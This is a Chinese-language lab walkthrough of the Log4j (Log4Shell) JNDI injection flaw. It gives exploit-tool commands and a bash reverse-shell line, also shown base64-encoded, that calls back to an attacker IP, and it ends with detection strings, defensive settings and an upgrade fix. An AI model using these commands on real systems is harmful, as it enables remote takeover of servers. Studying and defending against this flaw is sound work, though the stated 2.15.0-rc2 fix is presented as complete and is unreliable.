目录
利用
选用JNDI注入工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
下载JNDI注入工具JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar,下载地址:https://github.com/bkfish/Apache-Log4j-Learning/tree/main
应用工具JNDI-Injection-Exploit搭建服务:格式:
Java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “命令” -A “ip(攻击机)”
这里的命令是想要靶机运行的命令,-A 后放的是发出攻击的电脑的IP,也是存放-C后”命令”的IP地址
实现反弹shell,可以使用命令
bash -i >& /dev/tcp/ip/port 0>&1
注意:命令 必须经过编码,不然将无法实现
【我直接下载连接失败,就下载好了以后拉进来的,如果是直接下载的去对应目录下面找】
在漏洞已存在的情况下,构造攻击payload执行命令反弹shell
bash -i >& /dev/tcp/ip/port 0>&1
首先对其进行BASE64 编码
重新打开一个窗口监听对应端口
执行EXP生成可用的payload
编码后的命令通过-C参数输入JNDI工具,通过-A参数指定kali的IP地址:
Java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjEwOCA0NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}” -A 192.168.109.128
payload在之前探测dnslog的位置替换成这个地址
使用编码
监听界面出现反弹shell成功的界面:(进入了交互模式)
排查
- 可以通过检车日志是否存在”jndi:dap://”、”jndi:rmi://”等字符来发现可能的攻击行为
- Pom版本检查
- 各种安全产品
防御方法
- 这是jvm参数-Dlog4j2.formatMsgNoLookups=true。由于java RMI的实现依赖于JVM,所以可以通过调用JVM来修改。
- 设置log4j2.formatMsgNoLookups=True。
- 采用waf对请求的流量中的${jndi}进行拦截。通过拦截JNDI语句来方式JNDI注入。
- 禁止不必要的业务访问外网,配置网络防火墙,禁止系统主动外连网络,包含不限于DNS、TCP/IP、ICMP
修复方法
升级到最新的安全版本:log4j2-2.15.0-rc2。Apache Log4j2官方已经发布了解决漏洞的安全更新。